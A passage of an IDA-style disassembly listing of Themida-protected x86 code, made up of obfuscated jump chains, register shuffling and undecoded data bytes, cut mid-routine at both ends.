		dd 0FFFFD821h, 4EF368h,	240C8900h, 2743DB9h, 2E9C13Ah
		dd 0D9F7D1F7h, 7878C981h, 0E98108CEh, 0ECEFD74h, 0DEE9CE01h
		dd 81FFFF63h, 4C1h, 4E98300h, 0FEE9BAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A9181:				; CODE XREF: Themida_:005A7DA9j
		push	esi
		mov	esi, ebp
		mov	ebx, esi
		pop	esi
		pop	ebp
		mov	edi, [esp]
		push	eax
		jmp	loc_59732A
; ---------------------------------------------------------------------------
		db 4Eh,	81h, 0E6h
		dd 34864B09h, 5F6814Eh,	110844Bh, 4F685EF5h, 89000068h
		dd 74FF242Ch, 2C8B0424h, 4C48324h, 8B24048Fh, 0CD32424h
		dd 0C9E99C24h, 1FFFECCh, 0EC835AD0h, 24348904h,	0A7B6E951h
		dd 6C81FFFFh, 300A0424h, 5C0143A5h, 44810424h, 300A0424h
		dd 8B5B43A5h, 0C4832414h, 4BD5504h, 0E9000000h,	0FFFF2543h
		dd 0C281FA01h, 67E04B38h, 0E9243C8Bh, 0FFFFE425h, 0E789575Ch
		dd 4C781h, 0A2680000h, 89000011h, 4682414h, 0FF000000h
		dd 525A2434h, 0C281E289h, 4, 8704C283h,	15C2414h, 24148BD7h
		dd 4EC81h, 1C890000h, 50E95424h, 81FFFEFBh, 8020DC1h, 59CA0194h
		dd 8B241487h, 1AE92424h, 5BFFFFAEh, 148BD109h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5AABDD
; ---------------------------------------------------------------------------


loc_5A9269:				; CODE XREF: Themida_:005A099Cj
		push	538h
		jmp	loc_59791B
; ---------------------------------------------------------------------------
		db 5Dh
		dd 15685559h, 89000023h, 0E95D243Ch, 0FFFFD536h, 25B168h
		dd 241C8900h, 6B7B68h, 0FB77E900h, 8B66FFFEh, 67682404h
		dd 89000078h, 58542404h, 8904EC83h, 4BB241Ch, 2D000000h
		dd 4A811B66h, 2051F22Dh, 0EED3E90Dh, 77FFFFFEh,	19589D1Ch
		dd 0E99C2404h, 0FFFECBC0h, 405h, 24043300h, 0FF6407E9h
		dd 0C1EB81FFh, 13D436Ch, 0C1C381FBh, 8B3D436Ch,	8950243Ch
		dd 405E0h, 0C0830000h, 0D9DEE904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A92FA:				; CODE XREF: Themida_:005A2A77j
		pop	edx
		add	ebp, 7F19784Eh
		jmp	loc_59E8B8
; ---------------------------------------------------------------------------
		dw 8B5Bh
		dd 0C4832404h, 0F0305904h, 0FF2597E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A9315:				; CODE XREF: Themida_:0059CDAEj
		pop	esp
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5AA0D2
; ---------------------------------------------------------------------------


loc_5A9333:				; CODE XREF: Themida_:0059B291j
		add	dword ptr [esp], 4
		pop	ebp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_598CDF
; ---------------------------------------------------------------------------
		dd 0C1FFC283h, 0F0E903E2h
		db 16h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9363:				; CODE XREF: Themida_:0059F2D0j
		add	esp, [edx+38h]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_5A9A3C
; ---------------------------------------------------------------------------


loc_5A937E:				; CODE XREF: Themida_:00598668j
		pop	ecx
		add	edi, esi
		pop	esi
		jmp	loc_59C493
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0E953241Ch, 0FFFF64D6h
; ---------------------------------------------------------------------------


loc_5A9390:				; CODE XREF: Themida_:005A6CCEj
		mov	esi, 0DAF3CB62h
		xor	edi, esi
		pop	esi
		shl	edi, 7
		push	5498h
		jmp	loc_59AE1A
; ---------------------------------------------------------------------------
		db 8Dh,	4, 87h
		dd offset dword_590E48+20h
		dd 24348900h, 0EC83E689h, 24048904h, 0E5E09B8h,	0C4C9E925h
		dd 0F581FFFFh, 0FAD82F29h, 0E9565752h, 32Eh, 4BAh, 5AD00100h
		dd 405h, 24048700h, 2434FF5Ch, 53242C8Bh, 0FF833BE9h, 242C31FFh
		dd 0FFAE23E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A93F5:				; CODE XREF: Themida_:00596096j
		inc	eax
		jmp	loc_5AAD15
; ---------------------------------------------------------------------------
		db 8Bh
		dd 34892424h, 0EE9BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9406:				; CODE XREF: Themida_:005A1074j
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_59DA38
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0FF74ACE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A9425:				; CODE XREF: Themida_:0059C9C4j
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		dec	ecx
		jmp	loc_5A4AE8
; ---------------------------------------------------------------------------


loc_5A9432:				; CODE XREF: Themida_:0059ACD5j
		pop	esp
		jmp	loc_59BE4C
; ---------------------------------------------------------------------------
		dd 50D830ACh, 0FEDAEDE9h, 81D501FFh, 6F246AEDh,	0D180E966h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A944E:				; CODE XREF: Themida_:00596CF1j
		or	ebp, 48F5273Eh
		jmp	loc_59E406
; ---------------------------------------------------------------------------
		db 29h,	0CBh, 59h
		dd 5BCAC381h, 0C3810D54h, 65F215E0h, 0EB81C301h, 65F215E0h
		dd 0FF2398E9h, 84F681FFh, 0E9431175h, 0FFFFA869h, 0E95AF388h
		dd 2055h, 0BE56h, 0EE810000h, 2ABF73E6h, 6DE9FE29h, 81000002h
		dd 4C6h, 0D0E95600h
		db 0FCh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A94A7:				; CODE XREF: Themida_:00597956j
		shl	edx, 1
		jmp	loc_59DB68
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0BA682414h, 8900004Bh, 0E6892434h, 0FFC2C0E9h, 0C7815FFFh
		dd 71A15778h, 81242C8Bh, 4C4h, 0BB534700h, 784E0694h, 515BDF09h
		dd 9867C6B9h, 15CE938h,	0C0590000h, 1EE905E2h, 5DFFFF87h
		dd 5C241C87h, 0FFDAE4E9h, 74FD68FFh, 0C890000h,	7CB26824h
		dd 8F540000h, 0BE92404h, 58FFFEEAh, 0E95EF701h,	0FFFFC046h
; ---------------------------------------------------------------------------


loc_5A9518:				; CODE XREF: Themida_:005A713Bj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A59D6
; ---------------------------------------------------------------------------
		db 87h
		dd 0C15C243Ch, 0C78102EFh, 1, 81DFF747h, 6E403FC7h, 0DEACE984h
		dd 8957FFFEh, 4C781E7h,	0E9000000h, 0FFFF2CC3h,	0E95AD009h
		dd 0FFFFC5F3h, 750F281h, 815E0AF0h, 5471F7E2h, 81D2F701h
		dd 0BB9F54EAh, 5AD501FEh, 0FFD3A2E9h, 75722DFFh, 0E9593A86h
		dd 0FFFFD494h
; ---------------------------------------------------------------------------


loc_5A957C:				; CODE XREF: Themida_:0059B079j
		pop	esi
		or	esi, 6F444DF3h
		sub	esi, 13E721CCh
		add	esi, 9477A3D9h
		jmp	loc_59B5D9
; ---------------------------------------------------------------------------
		dd 25CFF581h, 0E88956EFh, 0E9242C8Bh, 0FFFFA07Eh, 0E9E18951h
		dd 0FFFEDCC6h, 5E5AD729h, 81241C8Bh, 4ECh, 24048900h, 405E089h
		dd 0E9000000h, 0FFFFD8CCh, 0BD0785BEh, 16EE8149h, 1D88956h
		dd 24348BF1h, 4C481h, 0C8290000h, 0E9D80159h, 0FFFF2CDFh
		dd 0B8F5815Dh, 8968560Ch, 242C8BEBh, 8104C483h,	0FC1BE3C2h
		dd 0E9DA0101h, 0FFFF4DE7h, 0EA3020B2h, 5AD40059h, 2876C280h
		dd 12F7E9E2h, 0E9580000h, 0FFFFE8C0h, 285968h, 242C8900h
		dd 5B323FBDh, 94E9553Fh, 89FFFF98h, 0E6892434h,	4EC81h
		dd 4890000h, 0A5FAE924h, 0C181FFFFh, 96C5706Eh,	0E959CF29h
		dd 0FFFF0D62h
; ---------------------------------------------------------------------------


loc_5A9650:				; CODE XREF: Themida_:005AA4A9j
		add	esp, 4
		jmp	loc_59826E
; ---------------------------------------------------------------------------
		dd 3929C181h, 0C98127B9h, 5FF75398h, 479EC981h,	0E98131D8h
		dd 0E3B5954Dh, 7EE9CB01h, 21FFFFDAh, 361FE9DEh,	34FFFFFFh
		dd 24048B24h, 49FC68h, 241C8900h, 0F5E9E389h, 81FFFF76h
		dd 4C3h, 32996800h, 3C890000h, 1BA5224h, 813A650Eh, 32E29EEAh
		dd 0D18951C7h, 24348151h, 160C47F8h, 0F8F7815Fh, 59160C47h
		dd 0FFC0A1E9h, 0F70158FFh, 0FF31FFE9h, 34FF54FFh, 0D649E924h
		dd 0E957FFFFh, 0FFFF0753h
; ---------------------------------------------------------------------------


loc_5A96DC:				; CODE XREF: Themida_:005A0DE2j
		push	54A1131Fh
		mov	eax, [esp]
		add	esp, 4
		sub	esi, eax
		mov	eax, [esp]
		jmp	loc_5A8D37
; ---------------------------------------------------------------------------
		db 68h,	4Eh, 38h
		dd 34890000h, 0D2C1E924h, 53BEFFFFh, 0E969EF42h, 0FFFF9DAAh
		dd 73E6C681h, 0DE92ABFh, 83FFFFC8h, 0E95104C4h,	0FFFF3FBCh
; ---------------------------------------------------------------------------


loc_5A971C:				; CODE XREF: Themida_:0059D5ECj
		shr	ebp, 3
		add	ebp, 23067CEDh
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5AA794
; ---------------------------------------------------------------------------
aWhcd		db 'WhCD',0
		dw 0E900h
		dd 0FFFFF678h, 2F20E02Dh, 8BC131DFh, 0C4812404h, 4, 0FF2804E9h
		dd 4ED81FFh, 87000000h,	0E95C242Ch, 0FFFFB4DAh,	0D036E949h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A9772:				; CODE XREF: Themida_:0059CD06j
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_5A41FA
; ---------------------------------------------------------------------------


loc_5A9786:				; CODE XREF: Themida_:005A31DEj
		xchg	ebx, [esp]
		jmp	loc_597953
; ---------------------------------------------------------------------------
		dw 487h
		dd 143BE924h, 0E3810000h, 441E0F11h, 28B5C381h,	0DF89FAF5h
		dd 1BA525Bh, 29000000h,	0B9515AD7h, 0C0FECD74h,	2B55EF81h
		dd 0D7E947BBh
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5A97BF:				; CODE XREF: Themida_:0059DA49j
		push	dword ptr [esp+4]
		jmp	loc_59DE12
; ---------------------------------------------------------------------------
		dd 1F8668h, 240C8900h, 268h, 240C8B00h,	4C481h,	11E90000h
		db 8Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A97E3:				; CODE XREF: Themida_:005A9856j
		sub	esp, 4
		mov	[esp], edi
		push	36F3h
		mov	[esp], esi
		push	dword ptr [esp]
		jmp	loc_5A568D
; ---------------------------------------------------------------------------


loc_5A97FC:				; CODE XREF: Themida_:0059F5E4j
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_59806C
; ---------------------------------------------------------------------------
		db 89h
		dd 0E389241Ch, 4C381h, 0B8500000h, 4, 0E958C301h, 0FFFFD550h
		dd 4EC81h, 4890000h, 73906824h,	8F540000h, 4832404h, 48B0424h
		dd 0F1E4E924h, 6DBEFFFEh, 0E965AF0Dh, 0FFFF2796h, 62F8EE81h
		dd 0F6E966FFh
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9853:				; CODE XREF: Themida_:005AA41Cj
		pop	esi
		not	esi
		jmp	loc_5A97E3
; ---------------------------------------------------------------------------


loc_5A985B:				; CODE XREF: Themida_:005984C2j
		add	esi, 4C2D6921h
		add	esi, edi
		jmp	loc_5AB1A4
; ---------------------------------------------------------------------------


loc_5A9868:				; CODE XREF: Themida_:005A8C63j
		push	ebx
		jmp	loc_59A7D5
; ---------------------------------------------------------------------------
		dw 665Ch
		dd 66240C89h, 66C8B60Fh, 0DE99C51h, 66FFFEC6h, 0E9240C8Bh
		dd 0FFFFB7FDh, 8159CA31h, 0F96954EBh, 81D30107h, 0F96954C3h
		dd 2434FF07h, 0FF96E95Ah, 1487FFFEh, 34895C24h,	1363BE24h
		dd 520506D5h, 1463326h,	53BE56F0h, 811FD770h, 525A16F6h
		dd 687Ah, 34290000h, 0CB53E924h, 0F281FFFEh, 2A176B93h
		dd 685AD629h, 779Fh, 0FF243489h, 5E042474h, 8B24048Fh
		dd 4892424h, 0C59AE924h, 0CEFEFFFEh, 304DEE80h,	0EE305AF5h
		dd 0FF51FEE9h, 0EB8166FFh, 3166333Dh, 89665BD8h, 0DB9CE9C5h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A9912:				; CODE XREF: Themida_:00597B7Dj
		push	1903h
		jmp	loc_59F0E8
; ---------------------------------------------------------------------------


loc_5A991C:				; CODE XREF: Themida_:005A6234j
		add	ecx, ebp
		pop	ebp
		sub	eax, ecx
		jmp	loc_59BF0A
; ---------------------------------------------------------------------------


loc_5A9926:				; CODE XREF: Themida_:0059673Bj
		mov	[esp], esi
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp], ebp
		push	edi
		mov	edi, 60C8691Ch
		mov	ebp, 9F3796E8h
		add	ebp, edi
		pop	edi
		add	esi, ebp
		pop	ebp
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		shr	ecx, 7
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A8FBC
; ---------------------------------------------------------------------------
		db 68h
		dd 783Dh, 68241489h, 19A9h, 0FEC985E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A9975:				; CODE XREF: Themida_:005A5ABBj
		push	ecx
		mov	ecx, 4ABE0B54h
		sub	ecx, 2DF36962h
		sub	ecx, 0C9B1694Bh
		xor	eax, ecx
		pop	ecx
		mov	ecx, eax
		pop	eax
		mov	edi, 220017D5h
		xor	edi, ecx
		pop	ecx
		xor	edi, 553F0346h
		sub	ebx, edi
		mov	edi, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ebp
		push	edx
		push	22807721h
		pop	edx
		jmp	loc_59B347
; ---------------------------------------------------------------------------


loc_5A99B6:				; CODE XREF: Themida_:005A5151j
		neg	esi
		jmp	loc_5A61C2
; ---------------------------------------------------------------------------
		db 88h,	0C5h, 58h
		dd 0BCE9C288h
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A99C7:				; CODE XREF: Themida_:00597352j
		xor	edi, eax
		xor	eax, edi
		push	edi
		jmp	loc_59E321
; ---------------------------------------------------------------------------


loc_5A99D1:				; CODE XREF: Themida_:0059FFC6j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	eax, 18h
		jmp	loc_59AB6F
; ---------------------------------------------------------------------------


loc_5A99F7:				; CODE XREF: Themida_:005A16F3j
		and	ebx, edx
		pop	edx
		jmp	loc_596EF4
; ---------------------------------------------------------------------------
		db 89h
		dd 4BA52E7h, 52000000h,	0FF81C2E9h, 0AEBA52FFh,	124953Bh
		dd 0A0E95AD7h, 9FFFECBh, 0EFC15BDFh, 0E9505203h, 0FFFFBFF0h
		dd 0E9DEB252h, 0FFFEE46Bh
; ---------------------------------------------------------------------------


loc_5A9A30:				; CODE XREF: Themida_:005A7CFFj
		pop	edx
		add	esp, 4
		jmp	loc_5AA32A
; ---------------------------------------------------------------------------


loc_5A9A3C:				; CODE XREF: Themida_:005A9379j
		mov	ebp, 77D840B4h
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 701051Ah
		not	eax
		push	ecx
		mov	ecx, 62A47C9h
		inc	ecx
		shl	ecx, 1
		dec	ecx
		shl	ecx, 2
		and	ecx, 513B176Ch
		xor	ecx, 0B001ABEh
		add	eax, ecx
		pop	ecx
		inc	eax
		add	eax, 2B944F8h
		jmp	loc_5A54F5
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0E9h
		dd 11C20923h, 5C4DE981h, 0F9017FCBh, 4EC81h, 10E90000h
		dd 55FFFF5Eh, 0FEEDEDE9h, 0C6814EFFh, 4962945h,	0FFA154E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A9AAD:				; CODE XREF: Themida_:0059F19Bj
		mov	eax, [esp]
		push	ebx
		jmp	loc_5A276C
; ---------------------------------------------------------------------------
		dw 0D6F7h
		dd 7BBDBA52h, 0E2D15E8Ch, 0E28E9h, 0B1CA8100h, 81289D20h
		dd 53AE34F2h, 0E9D001F1h, 0FFFF2D2Fh, 815FFA01h, 6D1D79E2h
		dd 0C1D2F70Ah, 0D2F708EAh, 4A49CA81h, 0EA816103h, 0FF0B6E4Bh
		dd 0FFAE47E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A9AF9:				; CODE XREF: Themida_:005A882Dj
		mov	esi, 20CF7D91h
		xor	esi, 78370008h
		jmp	loc_5A2B3A
; ---------------------------------------------------------------------------


loc_5A9B09:				; CODE XREF: Themida_:00596BB7j
		mov	esi, 27273C54h
		mov	ecx, 7D7D56E0h
		sub	ecx, esi
		jmp	loc_59BFE6
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 0F5EAE924h, 0E955FFFEh, 0FFFF4639h, 4A5148BFh, 2E7C11Fh
		dd 0B59C781h, 0AEE9BA6Bh, 81FFFF04h, 4EA53BE9h,	59CE3196h
		dd 0C15EF789h, 0DDE903EFh, 42FFFF44h, 1E3AEA81h, 44E95519h
		dd 4BFFFF2Dh, 0FF3DF0E9h, 7BE953FFh, 8BFFFF95h,	0C4832414h
		dd 0ECF28104h, 83491848h, 0F5E904ECh, 5FFFFF32h, 0FF139BE9h
		dd 9B0B9FFh, 0E1C1551Ah, 81D9F705h, 0D5C328E9h,	59CA890Ch
		dd 0CFE9D601h, 6600000Ah, 68240C8Bh, 5F67h, 0FEF88AE9h
		dd 0EE875CFFh, 68h, 24342900h, 68F6815Eh, 5236C51Fh, 5A227ABAh
		dd 8EA8156h, 0E93C1FFEh, 0FFFFC8CEh
; ---------------------------------------------------------------------------


loc_5A9BCC:				; CODE XREF: Themida_:005A081Cj
		push	56C8h
		mov	[esp], esi
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 11330A9Eh
		mov	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_5A8F49
; ---------------------------------------------------------------------------
		db 0C1h
		dd 814108E9h, 1B6463C1h, 0E9D1F72Ah, 0E61h, 0E9241C89h
		dd 0FFFED2F4h, 0E950C9FEh, 0FFFFE14Fh, 0E5E9FB01h, 5AFFFF6Ch
		dd 662CC380h, 9CB252h, 0E95A66D3h, 0FFFED056h, 54E9F101h
		dd 83FFFF3Dh, 14E904C4h, 29FFFF4Fh, 0C9EBE9D1h,	0EC81FFFFh
		dd 4, 0E9240C89h, 0FFFFBC9Dh
; ---------------------------------------------------------------------------


loc_5A9C5C:				; CODE XREF: Themida_:005A291Fj
		sub	edx, ecx
		pop	ecx
		jmp	loc_598E76
; ---------------------------------------------------------------------------
		dd 0C008E4C0h, 0E48003E4h, 0FFC48073h, 0FE58E228h, 0F65266CAh
		dd 5A662414h, 6CBE68h, 240C8900h, 0EC8377B5h, 0E1A6E902h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9C8E:				; CODE XREF: Themida_:0059B6E1j
		pop	eax
		add	ecx, edx
		pop	edx
		sub	ecx, ebx
		jmp	loc_5A747A
; ---------------------------------------------------------------------------
		db 58h,	55h, 0E9h
		dd 0FFFEE0C1h, 34FFE831h, 54525D24h, 29F685Ah, 35E90000h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9CB3:				; CODE XREF: Themida_:005AB2DBj
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, edi
		push	ecx
		mov	edx, [esp]
		add	esp, 4
		pop	ecx
		mov	ebp, edx
		mov	edx, [esp]
		jmp	loc_5AA642
; ---------------------------------------------------------------------------
		db 29h,	0EEh, 8Bh
		dd 0C483242Ch, 61BD5504h, 31163F11h, 242C8BEEh,	2904C483h
		dd 832E9F5h, 0CB89FFFFh, 81240C8Bh, 4C4h, 0F7DCE900h, 48FFFFEh
		dd 552AE924h, 8358FFFFh, 0EEE904ECh, 58FFFEDEh,	0FFBD25E9h
		dd 8E8C1FFh, 246CDA25h,	29FE926h, 1C310000h, 241C3324h
		dd 0BF7EE95Ch, 0B951FFFFh, 452E6D49h, 6D4DF181h, 0CD89452Eh
		dd 5DEA2959h, 0E9241487h, 0FFFF6246h
; ---------------------------------------------------------------------------


loc_5A9D48:				; CODE XREF: Themida_:005A7B99j
		push	edx
		mov	edx, 7C5120CBh
		add	edx, 322A06F4h
		or	edx, 32A21A5Ch
		and	edx, 21FE3BEDh
		neg	edx
		neg	edx
		sub	edx, 39FD9AFh
		add	esi, edx
		pop	edx
		add	esi, edx
		sub	esi, 1D5A623Eh
		jmp	loc_5A1087
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 0FF5298E9h, 4EC83FFh, 89241489h, 68D5E9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9D8E:				; CODE XREF: Themida_:0059EC06j
		mov	ebp, [esp]
		jmp	loc_5A2061
; ---------------------------------------------------------------------------
		dw 0CF01h
		dd 0F224E955h, 4BFFFFEh, 1000000h, 1C875FFBh, 24248B24h
		dd 6BC468h, 2075E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9DB6:				; CODE XREF: Themida_:00599A42j
		add	ecx, 5F2A19DFh
		jmp	loc_59A1AB
; ---------------------------------------------------------------------------
		db 29h,	0FEh, 5Fh
		dd 0C681CE01h, 54204ED9h, 0E9240C8Bh, 0FFFF837Eh, 3F06E94Ah
		dd 0E828FFFFh, 81240C8Bh, 4C4h,	2E95300h
		db 0D5h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A9DEB:				; CODE XREF: Themida_:0059FFFEj
		push	esi
		mov	esi, 6E3C2755h
		push	ebx
		mov	ebx, 249E44B6h
		add	esi, 11BF3928h
		sub	esi, ebx
		push	edx
		mov	edx, 6DA2097Dh
		sub	edx, 1
		neg	edx
		add	edx, 7F6142A4h
		sub	esi, 5C645392h
		sub	esi, edx
		add	esi, 5C645392h
		pop	edx
		pop	ebx
		shr	esi, 1
		shr	esi, 6
		push	1D78h
		mov	[esp], esi
		not	dword ptr [esp]
		jmp	loc_5A2CA1
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 3304EF83h, 3C31243Ch, 243C3324h, 0F9BDE95Ch,	0CB89FFFFh
		dd 0ECAE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A9E51:				; CODE XREF: Themida_:005A0745j
		dec	ebp
		xor	ebp, 23895A8Fh
		mov	eax, ebp
		pop	ebp
		xor	eax, 61DE3FFEh
		and	edi, eax
		jmp	loc_59DD34
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5E042474h, 0FEF038E9h, 895158FFh, 5407E9E1h,	0FA68FFFFh
		dd 89000071h, 0FF5B2434h, 348B2434h, 4C48124h, 68000000h
		dd 7605h, 81242C89h, 4ECh, 24248900h, 4240481h,	8B000000h
		dd 8956242Ch, 4C681E6h,	81000000h, 4C6h, 24348700h, 4BA525Ch
		dd 1000000h, 0C5835AD5h, 51696804h, 2C890000h, 2474FF24h
		dd 0EA19E904h, 0E951FFFFh, 0FFFFEAA1h
; ---------------------------------------------------------------------------


loc_5A9EE0:				; CODE XREF: Themida_:00598A3Bj
		mov	ebp, 1BE62F64h
		jmp	loc_5A1863
; ---------------------------------------------------------------------------
		dw 0EF01h
		dd 95EFE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9EF2:				; CODE XREF: Themida_:005990ABj
		sub	esp, 4
		mov	[esp], ebx
		push	44D95532h
		jmp	loc_59BBF2
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 80h
		dd 0E9103C47h, 0FFFFA87Ch, 0F7015F58h, 2C7815Eh, 68000000h
		dd 3315h, 0E9243C89h, 0FFFEEBE5h, 10A0BF57h, 0F7811D54h
		dd 41BD325Ch, 0D40F781h, 0F781630Ah, 5EE70737h,	0FEDF16E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A9F45:				; CODE XREF: Themida_:0059D4D1j
		not	ebx
		inc	ebx
		xchg	ebx, [esp]
		pop	ecx
		shl	ecx, 5
		sub	ecx, 0C8844DFCh
		add	ebx, 0A25156h
		sub	ebx, ecx
		sub	ebx, 0A25156h
		pop	ecx
		jmp	loc_5A8440
; ---------------------------------------------------------------------------


loc_5A9F69:				; CODE XREF: Themida_:005A066Fj
		add	dword ptr [esp], 956162Dh
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	ebp, 956162Dh
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		push	ebx
		jmp	loc_59D9AF
; ---------------------------------------------------------------------------
		dd 4BD55h, 0EA290000h, 2414875Dh, 0FFCB6EE9h, 0B612BBFFh
		dd 0DD317C87h, 5DEE015Bh, 426E9h, 241C8900h, 0FF0F3EE9h
		dd 60462DFFh, 0C3890004h, 0FEE278E9h, 0E6CB9FFh, 0D9F72BC5h
		dd 1E981h, 0E9C10000h, 6E9C106h, 0FF16C7E9h, 52C735FFh
		dd 0F22D514Fh, 4836BC5Ah, 0FB6BE940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A9FF6:				; CODE XREF: Themida_:00599CFEj
		pop	ecx
		push	eax
		mov	eax, 4
		add	esi, 1B78105Bh
		add	esi, 73025945h
		jmp	loc_5A316B
; ---------------------------------------------------------------------------
		dw 0EF28h
		dd 80C72859h, 5866CAC7h, 1C8BFA88h, 0E88CE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5AA022:				; CODE XREF: Themida_:005A41C5j
		add	esp, 4
		jmp	loc_5A7C26
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 9EE95358h, 0BFFFFF97h, 4, 0FF4C5BE9h, 4C381FFh, 81000000h
		dd 4C3h, 241C8700h, 8324248Bh, 148704C2h, 0EC835C24h, 0E8C8E904h
		dd 5E5BFFFEh, 0B8BB5351h, 8165096Ah, 9728B1EBh,	95E9430Bh
		db 77h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA077:				; CODE XREF: Themida_:005A7A6Ej
		add	ebp, eax
		push	esi
		mov	esi, 5372471h
		not	esi
		shr	esi, 7
		sub	esi, 0E54418A7h
		sub	ebp, esi
		pop	esi
		jmp	loc_5A6298
; ---------------------------------------------------------------------------


loc_5AA092:				; CODE XREF: Themida_:005A1CF7j
		sub	ebp, 29AC6D4Ch
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		or	eax, eax
		jnz	loc_59AF0C
		mov	edx, 0E9A665Bh
		jmp	loc_5AA124
; ---------------------------------------------------------------------------
		dw 0DD01h
		dd 5B5E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5AA0BE:				; CODE XREF: Themida_:0059BBE1j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	20B9h
		mov	[esp], edx
		jmp	loc_5AAA65
; ---------------------------------------------------------------------------


loc_5AA0D2:				; CODE XREF: Themida_:005A932Ej
		mov	edx, 2DE62967h
		jmp	loc_59EF68
; ---------------------------------------------------------------------------
		dd 72E9EF87h
		db 2Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA0E3:				; CODE XREF: Themida_:0059F693j
		mov	edi, 4
		jmp	loc_596F40
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240483h, 0B48DE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5AA0FA:				; CODE XREF: Themida_:005A0825j
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_5A7D2C
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 4
		dd 56000000h, 4BEh, 5EF22900h, 0E9241487h, 0FFFEF0CDh
; ---------------------------------------------------------------------------


loc_5AA124:				; CODE XREF: Themida_:005AA0B1j
		shr	edx, 8
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	28D1h
		mov	[esp], esi
		mov	esi, 2C174A6Ch
		neg	esi
		push	ecx
		mov	ecx, 6FAD1E55h
		sub	esi, ecx
		pop	ecx
		dec	esi
		and	esi, 5B4A1CCAh
		inc	esi
